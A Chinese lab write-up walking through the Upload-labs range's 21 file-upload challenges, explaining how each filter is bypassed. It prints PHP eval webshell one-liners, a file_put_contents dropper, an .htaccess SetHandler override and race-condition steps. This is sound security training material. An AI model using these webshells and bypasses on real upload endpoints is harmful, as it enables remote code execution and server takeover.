Upload-labs
靶场下载:GitHub - c0ny1/upload-labs
注意:必须保证upload目录有写权限,有几关受限于windows和php5.4以下版本
文章目录
Pass-01
前端过滤绕过
上传php文件发现有前端过滤

将文件名更改为合法的上传,再用burp修改回php

Pass-02
文件类型绕过
上传shell.php提示文件类型不正确

burp抓包,将Content-Type字段修改为合法的文件类型即可

Pass-03
黑名单绕过

不允许上传.asp .aspx .php .jsp,可以通过等价扩展名绕过
| 语言 | 等价扩展名 |
|---|---|
| asp | asa, cer, cdx |
| aspx | ashx, asmx, ascx |
| php | php2 php3 php4 phps phtml |
| jsp | jspx jspf |
将php修改为php2,成功上传

利用前提: 需要apache支持php2/php3才可以执行,可以在httpd.conf中添加解析类型

Pass-04
查看源码,过滤的比较全

这里有两种思路绕过
第一,可以利用apache解析机制,将文件名修改为shell.php.jjj上传。同时由于提取到的扩展名是.jjj,因此可以绕过黑名单

原理:apache在解析文件时,遇到不可解析的扩展名会自动往前找,例如shell.php.jjj 会被当做 shell.php执行

第二,.htaccess文件绕过
利用前提:
AllowOverride = All,mod_rewrite模块开启
在.htaccess中写入
SetHandler application/x-httpd-php //当前目录下的所有文件都会被当成php的代码来解析
上传.htaccess文件,再上传shell.jpg即可执行
Pass-05
点空格点绕过
查看源码,.htaccess也被加进黑名单了 根据源码,可以构造shell.php. .绕过

Extension:
deldot()函数从字符串末尾的点开始删除,遇到空格停止
逻辑为:最后一个点被删除后,提取到的扩展名为 .php.空格,不在黑名单内,然后首尾去空只剩下shell.php.了。
访问shell.php. 成功执行

Pass-06
大小写绕过

Pass-07
空格绕过
尝试双写、大小写都失败了,查看源码没有去除空格处理,直接在文件名后加上空格

PS: 不适用于Linux环境,因为Linux文件扩展名允许空格,windows会自动将文件名后的空格忽略
Pass-08
点绕过
没有对文件末尾的点进行处理,直接在php后加上.,上传成功

执行

Pass-09
::$DATA绕过
未对::$DATA进行过滤
原理:windows环境下,使用::$DATA不会检测其后缀名,且保持::$DATA之前的文件名。例如:shell.php::$DATA会被解析为shell.php
修改参数

Pass-10
同Pass-7
Pass-11
双写绕过
str_ireplace()函数:替换子字符串
实例:
把字符串 “Hello world!” 中的字符 “WORLD”(不区分大小写)替换成 “Shanghai”:
str_ireplace("WORLD","Shanghai","Hello world!");
查看源码,发现使用了str_ireplace()将黑名单中的扩展名替换为空,文件名修改为shell.pphphp,中间的php被替换为空后文件名变成了shell.php

Pass-12
%00截断
查看源码,使用了白名单过滤,但是存储路径是可控的。

在/upload/后加上shell.php%00截断

截断条件:php版本<5.3.4且magic_quotes_gpc=off
原理:upload/shell.php%00/xxxx.jpg 会被解析处理为 upload/shell.php/.jpg,/后面的内容无效
Pass-13
%00截断
也是路径可控,但是提交方式变成了POST

由于POST不会对数据解码,在Hex中修改php后为的值为00

Pass-14
图片马包含

只读取前两个字节,根据文件头判断图像类型

制作图片马
shell.gif写入如下内容。GIF98A为文件头,可以绕过文件类型
GIF98A
<?php @eval($_POST['shell']);?>
上传shell.gif,使用蚁剑,连接成功
Pass-15
图片马包含
查看源码

更改了文件类型的判定,使用getimagesize()函数获取到图片类型
同Pass-14,上传shell.gif,蚁剑连接
Pass-16
同上

这里略微总结一下关于获取图片类型的函数
exif_imagetype($filename); // 读取图像的第一个字节并检查其签名,参数常量 IMAGETYPE_GIF, IMAGETYPE_JPEG...
getimagesize($filename); // 获取图片的信息,索引2为图像的类型,返回值为数字
Pass-17
二次渲染
这里用之前的图片马可以上传,但是蚁剑连接不上,查看源码发现服务器对我们上传的图片进行了二次渲染生成了新的图片,导致我们图片马中包含的代码被处理掉了,有两种处理思路
1.对比上传前后的两张照片,查看未修改的部分将代码插入,最好使用gif格式的图片,可以人工对比
2.因为这里是先移动上传的图片然后才删除,因此存在条件竞争的条件,但是必须保证上传路径是可知的。关于条件竞争Pass-18有介绍

这里我简单对比了一下,将文件放在了开头的位置

蚁剑连接成功

Pass-18
条件竞争
上源码

可以通过条件竞争,访问到shell
原理: 源码的逻辑是先将上传的文件移动到目标位置,然后rename重命名,最后才用unlink删除文件。在这个过程中间,有短暂的时间允许我们访问上传之前的名字(只要手速够快)
通过burp的intruder模块,多线程发送请求包,然后浏览器疯狂访问shell.gif
http://192.168.30.103/security/upload-labs-master/include.php?file=./upload/shell.gif
shell.gif的源码:
<?php file_put_contents('shell.php','<?php @eval($_POST["shell"]);?>'); ?>
只要抓住那么一瞬间访问包含到了上传的shell.gif,就会向include.php的同级目录下写入shell.php
最后,蚁剑访问shell.php,连接成功

Pass-19
代码审计,源码有点多

对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等 但是逻辑依然为检查后缀名然后上传,然后二次渲染,上传图片马竞争访问即可。

这里可以看到,白名单有.7z,而.7z无法被解析,类似于第四题,可以使用apache的解析机制和条件竞争绕过
使用intruder模块 一个用于上传shell.php.7z ,一个发送访问shell.php.7z的请求包
另外由于不可持续访问,需要修改上传文件里包含的php代码
<?php file_put_contens('shell.php', '<?php @eval($_POST["shell"]);?>') ?>
最后成功访问到并生成shell.php,蚁剑连接

Pass-20
这关可以自己指定保存名称

查看源码,发现move_uploaded_file的目标位置参数是可控的,正是我们指定的保存名称

move_uploaded_file()函数有个特性,就是最后的/.会忽略掉,因此可以修改文件名为shell.php/.

另外,因为路径可控,这一关还可以采用之前用到的%00截断(PHP <= 5.4)
Pass-21
数组验证绕过
查看源码,这一关先是使用了MIME类型检测,然后又对后缀名进行了判断

源码逻辑:上传文件后先检查类型,然后判断save_name值是否是数组,如果是数组,取最后一个元素的值,判断是否存在白名单内,然后命名的时候再拼接文件名和后缀名
因此,想要绕过白名单必须提交数组,而且文件重命名时,取的是数组的长度-1的下标值,因为整体长度为2,所以构造数组时,要将假的后缀名放到下标2的位置
数组第一个元素 file[0]=shell.php 服务器重命名时,file[1]为空,所以最终命名为shell.php.

本人学习记录,欢迎各位大佬指正
注:
以上仅供学习交流,未用于非法用途。
该文详细介绍了Upload-labs靶场中针对PHP文件上传的各种安全防护及其可能的绕过技巧,包括前端过滤、文件类型、黑名单、Apache解析机制、.htaccess文件、点空格点、大小写、空格、点绕过、::$DATA、双写、%00截断、图片马包含、二次渲染、条件竞争、代码审计等,展示了多种Web安全攻防策略。

8401

被折叠的 条评论
为什么被折叠?



